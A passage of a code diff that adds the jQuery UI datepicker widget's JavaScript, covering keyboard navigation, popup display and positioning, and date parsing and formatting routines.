+						handled = false;
+						break; // hide on tab out
+				case 13: sel = $("td." + $.datepicker._dayOverClass + ":not(." +
+									$.datepicker._currentClass + ")", inst.dpDiv);
+						if (sel[0]) {
+							$.datepicker._selectDay(event.target, inst.selectedMonth, inst.selectedYear, sel[0]);
+						}
+
+						onSelect = $.datepicker._get(inst, "onSelect");
+						if (onSelect) {
+							dateStr = $.datepicker._formatDate(inst);
+
+							// trigger custom callback
+							onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);
+						} else {
+							$.datepicker._hideDatepicker();
+						}
+
+						return false; // don't submit the form
+				case 27: $.datepicker._hideDatepicker();
+						break; // hide on escape
+				case 33: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
+							-$.datepicker._get(inst, "stepBigMonths") :
+							-$.datepicker._get(inst, "stepMonths")), "M");
+						break; // previous month/year on page up/+ ctrl
+				case 34: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
+							+$.datepicker._get(inst, "stepBigMonths") :
+							+$.datepicker._get(inst, "stepMonths")), "M");
+						break; // next month/year on page down/+ ctrl
+				case 35: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._clearDate(event.target);
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // clear on ctrl or command +end
+				case 36: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._gotoToday(event.target);
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // current on ctrl or command +home
+				case 37: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._adjustDate(event.target, (isRTL ? +1 : -1), "D");
+						}
+						handled = event.ctrlKey || event.metaKey;
+						// -1 day on ctrl or command +left
+						if (event.originalEvent.altKey) {
+							$.datepicker._adjustDate(event.target, (event.ctrlKey ?
+								-$.datepicker._get(inst, "stepBigMonths") :
+								-$.datepicker._get(inst, "stepMonths")), "M");
+						}
+						// next month/year on alt +left on Mac
+						break;
+				case 38: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._adjustDate(event.target, -7, "D");
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // -1 week on ctrl or command +up
+				case 39: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._adjustDate(event.target, (isRTL ? -1 : +1), "D");
+						}
+						handled = event.ctrlKey || event.metaKey;
+						// +1 day on ctrl or command +right
+						if (event.originalEvent.altKey) {
+							$.datepicker._adjustDate(event.target, (event.ctrlKey ?
+								+$.datepicker._get(inst, "stepBigMonths") :
+								+$.datepicker._get(inst, "stepMonths")), "M");
+						}
+						// next month/year on alt +right
+						break;
+				case 40: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._adjustDate(event.target, +7, "D");
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // +1 week on ctrl or command +down
+				default: handled = false;
+			}
+		} else if (event.keyCode === 36 && event.ctrlKey) { // display the date picker on ctrl+home
+			$.datepicker._showDatepicker(this);
+		} else {
+			handled = false;
+		}
+
+		if (handled) {
+			event.preventDefault();
+			event.stopPropagation();
+		}
+	},
+
+	/* Filter entered characters - based on date format. */
+	_doKeyPress: function(event) {
+		var chars, chr,
+			inst = $.datepicker._getInst(event.target);
+
+		if ($.datepicker._get(inst, "constrainInput")) {
+			chars = $.datepicker._possibleChars($.datepicker._get(inst, "dateFormat"));
+			chr = String.fromCharCode(event.charCode == null ? event.keyCode : event.charCode);
+			return event.ctrlKey || event.metaKey || (chr < " " || !chars || chars.indexOf(chr) > -1);
+		}
+	},
+
+	/* Synchronise manual entry and field/alternate field. */
+	_doKeyUp: function(event) {
+		var date,
+			inst = $.datepicker._getInst(event.target);
+
+		if (inst.input.val() !== inst.lastVal) {
+			try {
+				date = $.datepicker.parseDate($.datepicker._get(inst, "dateFormat"),
+					(inst.input ? inst.input.val() : null),
+					$.datepicker._getFormatConfig(inst));
+
+				if (date) { // only if valid
+					$.datepicker._setDateFromField(inst);
+					$.datepicker._updateAlternate(inst);
+					$.datepicker._updateDatepicker(inst);
+				}
+			}
+			catch (err) {
+			}
+		}
+		return true;
+	},
+
+	/* Pop-up the date picker for a given input field.
+	 * If false returned from beforeShow event handler do not show.
+	 * @param  input  element - the input field attached to the date picker or
+	 *					event - if triggered by focus
+	 */
+	_showDatepicker: function(input) {
+		input = input.target || input;
+		if (input.nodeName.toLowerCase() !== "input") { // find from button/image trigger
+			input = $("input", input.parentNode)[0];
+		}
+
+		if ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput === input) { // already here
+			return;
+		}
+
+		var inst, beforeShow, beforeShowSettings, isFixed,
+			offset, showAnim, duration;
+
+		inst = $.datepicker._getInst(input);
+		if ($.datepicker._curInst && $.datepicker._curInst !== inst) {
+			$.datepicker._curInst.dpDiv.stop(true, true);
+			if ( inst && $.datepicker._datepickerShowing ) {
+				$.datepicker._hideDatepicker( $.datepicker._curInst.input[0] );
+			}
+		}
+
+		beforeShow = $.datepicker._get(inst, "beforeShow");
+		beforeShowSettings = beforeShow ? beforeShow.apply(input, [input, inst]) : {};
+		if(beforeShowSettings === false){
+			return;
+		}
+		datepicker_extendRemove(inst.settings, beforeShowSettings);
+
+		inst.lastVal = null;
+		$.datepicker._lastInput = input;
+		$.datepicker._setDateFromField(inst);
+
+		if ($.datepicker._inDialog) { // hide cursor
+			input.value = "";
+		}
+		if (!$.datepicker._pos) { // position below input
+			$.datepicker._pos = $.datepicker._findPos(input);
+			$.datepicker._pos[1] += input.offsetHeight; // add the height
+		}
+
+		isFixed = false;
+		$(input).parents().each(function() {
+			isFixed |= $(this).css("position") === "fixed";
+			return !isFixed;
+		});
+
+		offset = {left: $.datepicker._pos[0], top: $.datepicker._pos[1]};
+		$.datepicker._pos = null;
+		//to avoid flashes on Firefox
+		inst.dpDiv.empty();
+		// determine sizing offscreen
+		inst.dpDiv.css({position: "absolute", display: "block", top: "-1000px"});
+		$.datepicker._updateDatepicker(inst);
+		// fix width for dynamic number of date pickers
+		// and adjust position before showing
+		offset = $.datepicker._checkOffset(inst, offset, isFixed);
+		inst.dpDiv.css({position: ($.datepicker._inDialog && $.blockUI ?
+			"static" : (isFixed ? "fixed" : "absolute")), display: "none",
+			left: offset.left + "px", top: offset.top + "px"});
+
+		if (!inst.inline) {
+			showAnim = $.datepicker._get(inst, "showAnim");
+			duration = $.datepicker._get(inst, "duration");
+			inst.dpDiv.css( "z-index", datepicker_getZindex( $( input ) ) + 1 );
+			$.datepicker._datepickerShowing = true;
+
+			if ( $.effects && $.effects.effect[ showAnim ] ) {
+				inst.dpDiv.show(showAnim, $.datepicker._get(inst, "showOptions"), duration);
+			} else {
+				inst.dpDiv[showAnim || "show"](showAnim ? duration : null);
+			}
+
+			if ( $.datepicker._shouldFocusInput( inst ) ) {
+				inst.input.focus();
+			}
+
+			$.datepicker._curInst = inst;
+		}
+	},
+
+	/* Generate the date picker content. */
+	_updateDatepicker: function(inst) {
+		this.maxRows = 4; //Reset the max number of rows being displayed (see #7043)
+		datepicker_instActive = inst; // for delegate hover events
+		inst.dpDiv.empty().append(this._generateHTML(inst));
+		this._attachHandlers(inst);
+
+		var origyearshtml,
+			numMonths = this._getNumberOfMonths(inst),
+			cols = numMonths[1],
+			width = 17,
+			activeCell = inst.dpDiv.find( "." + this._dayOverClass + " a" );
+
+		if ( activeCell.length > 0 ) {
+			datepicker_handleMouseover.apply( activeCell.get( 0 ) );
+		}
+
+		inst.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");
+		if (cols > 1) {
+			inst.dpDiv.addClass("ui-datepicker-multi-" + cols).css("width", (width * cols) + "em");
+		}
+		inst.dpDiv[(numMonths[0] !== 1 || numMonths[1] !== 1 ? "add" : "remove") +
+			"Class"]("ui-datepicker-multi");
+		inst.dpDiv[(this._get(inst, "isRTL") ? "add" : "remove") +
+			"Class"]("ui-datepicker-rtl");
+
+		if (inst === $.datepicker._curInst && $.datepicker._datepickerShowing && $.datepicker._shouldFocusInput( inst ) ) {
+			inst.input.focus();
+		}
+
+		// deffered render of the years select (to avoid flashes on Firefox)
+		if( inst.yearshtml ){
+			origyearshtml = inst.yearshtml;
+			setTimeout(function(){
+				//assure that inst.yearshtml didn't change.
+				if( origyearshtml === inst.yearshtml && inst.yearshtml ){
+					inst.dpDiv.find("select.ui-datepicker-year:first").replaceWith(inst.yearshtml);
+				}
+				origyearshtml = inst.yearshtml = null;
+			}, 0);
+		}
+	},
+
+	// #6694 - don't focus the input if it's already focused
+	// this breaks the change event in IE
+	// Support: IE and jQuery <1.9
+	_shouldFocusInput: function( inst ) {
+		return inst.input && inst.input.is( ":visible" ) && !inst.input.is( ":disabled" ) && !inst.input.is( ":focus" );
+	},
+
+	/* Check positioning to remain on screen. */
+	_checkOffset: function(inst, offset, isFixed) {
+		var dpWidth = inst.dpDiv.outerWidth(),
+			dpHeight = inst.dpDiv.outerHeight(),
+			inputWidth = inst.input ? inst.input.outerWidth() : 0,
+			inputHeight = inst.input ? inst.input.outerHeight() : 0,
+			viewWidth = document.documentElement.clientWidth + (isFixed ? 0 : $(document).scrollLeft()),
+			viewHeight = document.documentElement.clientHeight + (isFixed ? 0 : $(document).scrollTop());
+
+		offset.left -= (this._get(inst, "isRTL") ? (dpWidth - inputWidth) : 0);
+		offset.left -= (isFixed && offset.left === inst.input.offset().left) ? $(document).scrollLeft() : 0;
+		offset.top -= (isFixed && offset.top === (inst.input.offset().top + inputHeight)) ? $(document).scrollTop() : 0;
+
+		// now check if datepicker is showing outside window viewport - move to a better place if so.
+		offset.left -= Math.min(offset.left, (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ?
+			Math.abs(offset.left + dpWidth - viewWidth) : 0);
+		offset.top -= Math.min(offset.top, (offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ?
+			Math.abs(dpHeight + inputHeight) : 0);
+
+		return offset;
+	},
+
+	/* Find an object's position on the screen. */
+	_findPos: function(obj) {
+		var position,
+			inst = this._getInst(obj),
+			isRTL = this._get(inst, "isRTL");
+
+		while (obj && (obj.type === "hidden" || obj.nodeType !== 1 || $.expr.filters.hidden(obj))) {
+			obj = obj[isRTL ? "previousSibling" : "nextSibling"];
+		}
+
+		position = $(obj).offset();
+		return [position.left, position.top];
+	},
+
+	/* Hide the date picker from view.
+	 * @param  input  element - the input field attached to the date picker
+	 */
+	_hideDatepicker: function(input) {
+		var showAnim, duration, postProcess, onClose,
+			inst = this._curInst;
+
+		if (!inst || (input && inst !== $.data(input, "datepicker"))) {
+			return;
+		}
+
+		if (this._datepickerShowing) {
+			showAnim = this._get(inst, "showAnim");
+			duration = this._get(inst, "duration");
+			postProcess = function() {
+				$.datepicker._tidyDialog(inst);
+			};
+
+			// DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed
+			if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[ showAnim ] ) ) {
+				inst.dpDiv.hide(showAnim, $.datepicker._get(inst, "showOptions"), duration, postProcess);
+			} else {
+				inst.dpDiv[(showAnim === "slideDown" ? "slideUp" :
+					(showAnim === "fadeIn" ? "fadeOut" : "hide"))]((showAnim ? duration : null), postProcess);
+			}
+
+			if (!showAnim) {
+				postProcess();
+			}
+			this._datepickerShowing = false;
+
+			onClose = this._get(inst, "onClose");
+			if (onClose) {
+				onClose.apply((inst.input ? inst.input[0] : null), [(inst.input ? inst.input.val() : ""), inst]);
+			}
+
+			this._lastInput = null;
+			if (this._inDialog) {
+				this._dialogInput.css({ position: "absolute", left: "0", top: "-100px" });
+				if ($.blockUI) {
+					$.unblockUI();
+					$("body").append(this.dpDiv);
+				}
+			}
+			this._inDialog = false;
+		}
+	},
+
+	/* Tidy up after a dialog display. */
+	_tidyDialog: function(inst) {
+		inst.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar");
+	},
+
+	/* Close date picker if clicked elsewhere. */
+	_checkExternalClick: function(event) {
+		if (!$.datepicker._curInst) {
+			return;
+		}
+
+		var $target = $(event.target),
+			inst = $.datepicker._getInst($target[0]);
+
+		if ( ( ( $target[0].id !== $.datepicker._mainDivId &&
+				$target.parents("#" + $.datepicker._mainDivId).length === 0 &&
+				!$target.hasClass($.datepicker.markerClassName) &&
+				!$target.closest("." + $.datepicker._triggerClass).length &&
+				$.datepicker._datepickerShowing && !($.datepicker._inDialog && $.blockUI) ) ) ||
+			( $target.hasClass($.datepicker.markerClassName) && $.datepicker._curInst !== inst ) ) {
+				$.datepicker._hideDatepicker();
+		}
+	},
+
+	/* Adjust one of the date sub-fields. */
+	_adjustDate: function(id, offset, period) {
+		var target = $(id),
+			inst = this._getInst(target[0]);
+
+		if (this._isDisabledDatepicker(target[0])) {
+			return;
+		}
+		this._adjustInstDate(inst, offset +
+			(period === "M" ? this._get(inst, "showCurrentAtPos") : 0), // undo positioning
+			period);
+		this._updateDatepicker(inst);
+	},
+
+	/* Action for current link. */
+	_gotoToday: function(id) {
+		var date,
+			target = $(id),
+			inst = this._getInst(target[0]);
+
+		if (this._get(inst, "gotoCurrent") && inst.currentDay) {
+			inst.selectedDay = inst.currentDay;
+			inst.drawMonth = inst.selectedMonth = inst.currentMonth;
+			inst.drawYear = inst.selectedYear = inst.currentYear;
+		} else {
+			date = new Date();
+			inst.selectedDay = date.getDate();
+			inst.drawMonth = inst.selectedMonth = date.getMonth();
+			inst.drawYear = inst.selectedYear = date.getFullYear();
+		}
+		this._notifyChange(inst);
+		this._adjustDate(target);
+	},
+
+	/* Action for selecting a new month/year. */
+	_selectMonthYear: function(id, select, period) {
+		var target = $(id),
+			inst = this._getInst(target[0]);
+
+		inst["selected" + (period === "M" ? "Month" : "Year")] =
+		inst["draw" + (period === "M" ? "Month" : "Year")] =
+			parseInt(select.options[select.selectedIndex].value,10);
+
+		this._notifyChange(inst);
+		this._adjustDate(target);
+	},
+
+	/* Action for selecting a day. */
+	_selectDay: function(id, month, year, td) {
+		var inst,
+			target = $(id);
+
+		if ($(td).hasClass(this._unselectableClass) || this._isDisabledDatepicker(target[0])) {
+			return;
+		}
+
+		inst = this._getInst(target[0]);
+		inst.selectedDay = inst.currentDay = $("a", td).html();
+		inst.selectedMonth = inst.currentMonth = month;
+		inst.selectedYear = inst.currentYear = year;
+		this._selectDate(id, this._formatDate(inst,
+			inst.currentDay, inst.currentMonth, inst.currentYear));
+	},
+
+	/* Erase the input field and hide the date picker. */
+	_clearDate: function(id) {
+		var target = $(id);
+		this._selectDate(target, "");
+	},
+
+	/* Update the input field with the selected date. */
+	_selectDate: function(id, dateStr) {
+		var onSelect,
+			target = $(id),
+			inst = this._getInst(target[0]);
+
+		dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
+		if (inst.input) {
+			inst.input.val(dateStr);
+		}
+		this._updateAlternate(inst);
+
+		onSelect = this._get(inst, "onSelect");
+		if (onSelect) {
+			onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);  // trigger custom callback
+		} else if (inst.input) {
+			inst.input.trigger("change"); // fire the change event
+		}
+
+		if (inst.inline){
+			this._updateDatepicker(inst);
+		} else {
+			this._hideDatepicker();
+			this._lastInput = inst.input[0];
+			if (typeof(inst.input[0]) !== "object") {
+				inst.input.focus(); // restore focus
+			}
+			this._lastInput = null;
+		}
+	},
+
+	/* Update any alternate field to synchronise with the main field. */
+	_updateAlternate: function(inst) {
+		var altFormat, date, dateStr,
+			altField = this._get(inst, "altField");
+
+		if (altField) { // update alternate field too
+			altFormat = this._get(inst, "altFormat") || this._get(inst, "dateFormat");
+			date = this._getDate(inst);
+			dateStr = this.formatDate(altFormat, date, this._getFormatConfig(inst));
+			$(altField).each(function() { $(this).val(dateStr); });
+		}
+	},
+
+	/* Set as beforeShowDay function to prevent selection of weekends.
+	 * @param  date  Date - the date to customise
+	 * @return [boolean, string] - is this date selectable?, what is its CSS class?
+	 */
+	noWeekends: function(date) {
+		var day = date.getDay();
+		return [(day > 0 && day < 6), ""];
+	},
+
+	/* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition.
+	 * @param  date  Date - the date to get the week for
+	 * @return  number - the number of the week within the year that contains this date
+	 */
+	iso8601Week: function(date) {
+		var time,
+			checkDate = new Date(date.getTime());
+
+		// Find Thursday of this week starting on Monday
+		checkDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));
+
+		time = checkDate.getTime();
+		checkDate.setMonth(0); // Compare with Jan 1
+		checkDate.setDate(1);
+		return Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;
+	},
+
+	/* Parse a string value into a date object.
+	 * See formatDate below for the possible formats.
+	 *
+	 * @param  format string - the expected format of the date
+	 * @param  value string - the date in the above format
+	 * @param  settings Object - attributes include:
+	 *					shortYearCutoff  number - the cutoff year for determining the century (optional)
+	 *					dayNamesShort	string[7] - abbreviated names of the days from Sunday (optional)
+	 *					dayNames		string[7] - names of the days from Sunday (optional)
+	 *					monthNamesShort string[12] - abbreviated names of the months (optional)
+	 *					monthNames		string[12] - names of the months (optional)
+	 * @return  Date - the extracted date value or null if value is blank
+	 */
+	parseDate: function (format, value, settings) {
+		if (format == null || value == null) {
+			throw "Invalid arguments";
+		}
+
+		value = (typeof value === "object" ? value.toString() : value + "");
+		if (value === "") {
+			return null;
+		}
+
+		var iFormat, dim, extra,
+			iValue = 0,
+			shortYearCutoffTemp = (settings ? settings.shortYearCutoff : null) || this._defaults.shortYearCutoff,
+			shortYearCutoff = (typeof shortYearCutoffTemp !== "string" ? shortYearCutoffTemp :
+				new Date().getFullYear() % 100 + parseInt(shortYearCutoffTemp, 10)),
+			dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort,
+			dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames,
+			monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort,
+			monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames,
+			year = -1,
+			month = -1,
+			day = -1,
+			doy = -1,
+			literal = false,
+			date,
+			// Check whether a format character is doubled
+			lookAhead = function(match) {
+				var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) === match);
+				if (matches) {
+					iFormat++;
+				}
+				return matches;
+			},
+			// Extract a number from the string value
+			getNumber = function(match) {
+				var isDoubled = lookAhead(match),
+					size = (match === "@" ? 14 : (match === "!" ? 20 :
+					(match === "y" && isDoubled ? 4 : (match === "o" ? 3 : 2)))),
+					minSize = (match === "y" ? size : 1),
+					digits = new RegExp("^\\d{" + minSize + "," + size + "}"),
+					num = value.substring(iValue).match(digits);
+				if (!num) {
+					throw "Missing number at position " + iValue;
+				}
+				iValue += num[0].length;
+				return parseInt(num[0], 10);
+			},
+			// Extract a name from the string value and convert to an index
+			getName = function(match, shortNames, longNames) {
+				var index = -1,
+					names = $.map(lookAhead(match) ? longNames : shortNames, function (v, k) {
+						return [ [k, v] ];
+					}).sort(function (a, b) {
+						return -(a[1].length - b[1].length);
+					});
+
+				$.each(names, function (i, pair) {
+					var name = pair[1];
+					if (value.substr(iValue, name.length).toLowerCase() === name.toLowerCase()) {
+						index = pair[0];
+						iValue += name.length;
+						return false;
+					}
+				});
+				if (index !== -1) {
+					return index + 1;
+				} else {
+					throw "Unknown name at position " + iValue;
+				}
+			},
+			// Confirm that a literal character matches the string value
+			checkLiteral = function() {
+				if (value.charAt(iValue) !== format.charAt(iFormat)) {
+					throw "Unexpected literal at position " + iValue;
+				}
+				iValue++;
+			};
+
+		for (iFormat = 0; iFormat < format.length; iFormat++) {
+			if (literal) {
+				if (format.charAt(iFormat) === "'" && !lookAhead("'")) {
+					literal = false;
+				} else {
+					checkLiteral();
+				}
+			} else {
+				switch (format.charAt(iFormat)) {
+					case "d":
+						day = getNumber("d");
+						break;
+					case "D":
+						getName("D", dayNamesShort, dayNames);
+						break;
+					case "o":
+						doy = getNumber("o");
+						break;
+					case "m":
+						month = getNumber("m");
+						break;
+					case "M":
+						month = getName("M", monthNamesShort, monthNames);
+						break;
+					case "y":
+						year = getNumber("y");
+						break;
+					case "@":
+						date = new Date(getNumber("@"));
+						year = date.getFullYear();
+						month = date.getMonth() + 1;
+						day = date.getDate();
+						break;
+					case "!":
+						date = new Date((getNumber("!") - this._ticksTo1970) / 10000);
+						year = date.getFullYear();
+						month = date.getMonth() + 1;
+						day = date.getDate();
+						break;
+					case "'":
+						if (lookAhead("'")){
+							checkLiteral();
+						} else {
+							literal = true;
+						}
+						break;
+					default:
+						checkLiteral();
+				}
+			}
+		}
+
+		if (iValue < value.length){
+			extra = value.substr(iValue);
+			if (!/^\s+/.test(extra)) {
+				throw "Extra/unparsed characters found in date: " + extra;
+			}
+		}
+
+		if (year === -1) {
+			year = new Date().getFullYear();
+		} else if (year < 100) {
+			year += new Date().getFullYear() - new Date().getFullYear() % 100 +
+				(year <= shortYearCutoff ? 0 : -100);
+		}
+
+		if (doy > -1) {
+			month = 1;
+			day = doy;
+			do {
+				dim = this._getDaysInMonth(year, month - 1);
+				if (day <= dim) {
+					break;
+				}
+				month++;
+				day -= dim;
+			} while (true);
+		}
+
+		date = this._daylightSavingAdjust(new Date(year, month - 1, day));
+		if (date.getFullYear() !== year || date.getMonth() + 1 !== month || date.getDate() !== day) {
+			throw "Invalid date"; // E.g. 31/02/00
+		}
+		return date;
+	},
+
+	/* Standard date formats. */
+	ATOM: "yy-mm-dd", // RFC 3339 (ISO 8601)
+	COOKIE: "D, dd M yy",
+	ISO_8601: "yy-mm-dd",
+	RFC_822: "D, d M y",
+	RFC_850: "DD, dd-M-y",
+	RFC_1036: "D, d M y",
+	RFC_1123: "D, d M yy",
+	RFC_2822: "D, d M yy",
+	RSS: "D, d M y", // RFC 822
+	TICKS: "!",
+	TIMESTAMP: "@",
+	W3C: "yy-mm-dd", // ISO 8601
+
+	_ticksTo1970: (((1970 - 1) * 365 + Math.floor(1970 / 4) - Math.floor(1970 / 100) +
+		Math.floor(1970 / 400)) * 24 * 60 * 60 * 10000000),
+
+	/* Format a date object into a string value.
+	 * The format can be combinations of the following:
+	 * d  - day of month (no leading zero)
+	 * dd - day of month (two digit)
+	 * o  - day of year (no leading zeros)
+	 * oo - day of year (three digit)
+	 * D  - day name short
+	 * DD - day name long
+	 * m  - month of year (no leading zero)
+	 * mm - month of year (two digit)
+	 * M  - month name short
+	 * MM - month name long
+	 * y  - year (two digit)
+	 * yy - year (four digit)
+	 * @ - Unix timestamp (ms since 01/01/1970)
+	 * ! - Windows ticks (100ns since 01/01/0001)
+	 * "..." - literal text
+	 * '' - single quote
+	 *
+	 * @param  format string - the desired format of the date
+	 * @param  date Date - the date value to format
+	 * @param  settings Object - attributes include:
+	 *					dayNamesShort	string[7] - abbreviated names of the days from Sunday (optional)
+	 *					dayNames		string[7] - names of the days from Sunday (optional)
+	 *					monthNamesShort string[12] - abbreviated names of the months (optional)
+	 *					monthNames		string[12] - names of the months (optional)
+	 * @return  string - the date in the above format
+	 */
+	formatDate: function (format, date, settings) {
+		if (!date) {
+			return "";
+		}
+
+		var iFormat,
+			dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort,
+			dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames,
+			monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort,
+			monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames,
+			// Check whether a format character is doubled
+			lookAhead = function(match) {
+				var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) === match);
+				if (matches) {
+					iFormat++;
+				}
+				return matches;
+			},
+			// Format a number, with leading zero if necessary
+			formatNumber = function(match, value, len) {
+				var num = "" + value;
+				if (lookAhead(match)) {
+					while (num.length < len) {
+						num = "0" + num;
+					}
+				}
+				return num;
+			},
+			// Format a name, short or long as requested
+			formatName = function(match, value, shortNames, longNames) {
+				return (lookAhead(match) ? longNames[value] : shortNames[value]);
+			},
+			output = "",
+			literal = false;
+
+		if (date) {
+			for (iFormat = 0; iFormat < format.length; iFormat++) {
+				if (literal) {
+					if (format.charAt(iFormat) === "'" && !lookAhead("'")) {
+						literal = false;
+					} else {
+						output += format.charAt(iFormat);
+					}
+				} else {
+					switch (format.charAt(iFormat)) {
+						case "d":
+							output += formatNumber("d", date.getDate(), 2);
+							break;
+						case "D":
+							output += formatName("D", date.getDay(), dayNamesShort, dayNames);
+							break;
+						case "o":
+							output += formatNumber("o",
+								Math.round((new Date(date.getFullYear(), date.getMonth(), date.getDate()).getTime() - new Date(date.getFullYear(), 0, 0).getTime()) / 86400000), 3);
+							break;
+						case "m":
+							output += formatNumber("m", date.getMonth() + 1, 2);
+							break;
+						case "M":
+							output += formatName("M", date.getMonth(), monthNamesShort, monthNames);
+							break;
+						case "y":
+							output += (lookAhead("y") ? date.getFullYear() :
+								(date.getYear() % 100 < 10 ? "0" : "") + date.getYear() % 100);
+							break;
+						case "@":
+							output += date.getTime();
+							break;
+						case "!":
+							output += date.getTime() * 10000 + this._ticksTo1970;
+							break;
+						case "'":
+							if (lookAhead("'")) {
+								output += "'";
+							} else {
+								literal = true;
+							}
+							break;
+						default:
+							output += format.charAt(iFormat);
+					}
+				}
+			}
+		}
+		return output;
+	},
+
+	/* Extract all possible characters from the date format. */
+	_possibleChars: function (format) {
+		var iFormat,
+			chars = "",
+			literal = false,
+			// Check whether a format character is doubled
+			lookAhead = function(match) {
+				var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) === match);
+				if (matches) {
+					iFormat++;
+				}
+				return matches;
+			};
+
+		for (iFormat = 0; iFormat < format.length; iFormat++) {
+			if (literal) {
+				if (format.charAt(iFormat) === "'" && !lookAhead("'")) {
+					literal = false;
+				} else {
+					chars += format.charAt(iFormat);
+				}
+			} else {
+				switch (format.charAt(iFormat)) {
+					case "d": case "m": case "y": case "@":
+						chars += "0123456789";
+						break;
+					case "D": case "M":
+						return null; // Accept anything
+					case "'":
+						if (lookAhead("'")) {
+							chars += "'";
+						} else {
+							literal = true;
+						}
+						break;
+					default:
+						chars += format.charAt(iFormat);
+				}
+			}
+		}
+		return chars;
+	},
+
+	/* Get a setting value, defaulting if necessary. */
+	_get: function(inst, name) {
+		return inst.settings[name] !== undefined ?
+			inst.settings[name] : this._defaults[name];
+	},
+
+	/* Parse existing date and initialise date picker. */
+	_setDateFromField: function(inst, noDefault) {
+		if (inst.input.val() === inst.lastVal) {
+			return;
+		}
+
+		var dateFormat = this._get(inst, "dateFormat"),
+			dates = inst.lastVal = inst.input ? inst.input.val() : null,
+			defaultDate = this._getDefaultDate(inst),
+			date = defaultDate,
+			settings = this._getFormatConfig(inst);
+
+		try {
+			date = this.parseDate(dateFormat, dates, settings) || defaultDate;
+		} catch (event) {
+			dates = (noDefault ? "" : dates);
+		}
+		inst.selectedDay = date.getDate();
+		inst.drawMonth = inst.selectedMonth = date.getMonth();
+		inst.drawYear = inst.selectedYear = date.getFullYear();
+		inst.currentDay = (dates ? date.getDate() : 0);
+		inst.currentMonth = (dates ? date.getMonth() : 0);
+		inst.currentYear = (dates ? date.getFullYear() : 0);
+		this._adjustInstDate(inst);
+	},
+
+	/* Retrieve the default date shown on opening. */
+	_getDefaultDate: function(inst) {
+		return this._restrictMinMax(inst,
+			this._determineDate(inst, this._get(inst, "defaultDate"), new Date()));
+	},
+
+	/* A date may be specified as an exact value or a relative one. */
+	_determineDate: function(inst, date, defaultDate) {
+		var offsetNumeric = function(offset) {
+				var date = new Date();
+				date.setDate(date.getDate() + offset);
+				return date;
+			},
+			offsetString = function(offset) {
+				try {
+					return $.datepicker.parseDate($.datepicker._get(inst, "dateFormat"),
+						offset, $.datepicker._getFormatConfig(inst));
+				}
+				catch (e) {
+					// Ignore
+				}
+
+				var date = (offset.toLowerCase().match(/^c/) ?
+					$.datepicker._getDate(inst) : null) || new Date(),
+					year = date.getFullYear(),
+					month = date.getMonth(),
+					day = date.getDate(),
+					pattern = /([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,
+					matches = pattern.exec(offset);
+
+				while (matches) {
+					switch (matches[2] || "d") {
+						case "d" : case "D" :
+							day += parseInt(matches[1],10); break;
+						case "w" : case "W" :
+							day += parseInt(matches[1],10) * 7; break;
+						case "m" : case "M" :
+							month += parseInt(matches[1],10);
+							day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
+							break;
+						case "y": case "Y" :
+							year += parseInt(matches[1],10);
+							day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
+							break;
+					}
+					matches = pattern.exec(offset);
+				}
+				return new Date(year, month, day);
+			},
+			newDate = (date == null || date === "" ? defaultDate : (typeof date === "string" ? offsetString(date) :
+				(typeof date === "number" ? (isNaN(date) ? defaultDate : offsetNumeric(date)) : new Date(date.getTime()))));
+
+		newDate = (newDate && newDate.toString() === "Invalid Date" ? defaultDate : newDate);
+		if (newDate) {
+			newDate.setHours(0);
+			newDate.setMinutes(0);
+			newDate.setSeconds(0);
+			newDate.setMilliseconds(0);
+		}
+		return this._daylightSavingAdjust(newDate);
+	},
+
+	/* Handle switch to/from daylight saving.
+	 * Hours may be non-zero on daylight saving cut-over:
+	 * > 12 when midnight changeover, but then cannot generate
+	 * midnight datetime, so jump to 1AM, otherwise reset.
+	 * @param  date  (Date) the date to check
+	 * @return  (Date) the corrected date
+	 */
+	_daylightSavingAdjust: function(date) {
+		if (!date) {
+			return null;
+		}
+		date.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0);
+		return date;
+	},
+
+	/* Set the date(s) directly. */
+	_setDate: function(inst, date, noChange) {
+		var clear = !date,
+			origMonth = inst.selectedMonth,
+			origYear = inst.selectedYear,
+			newDate = this._restrictMinMax(inst, this._determineDate(inst, date, new Date()));
+
+		inst.selectedDay = inst.currentDay = newDate.getDate();
+		inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth();
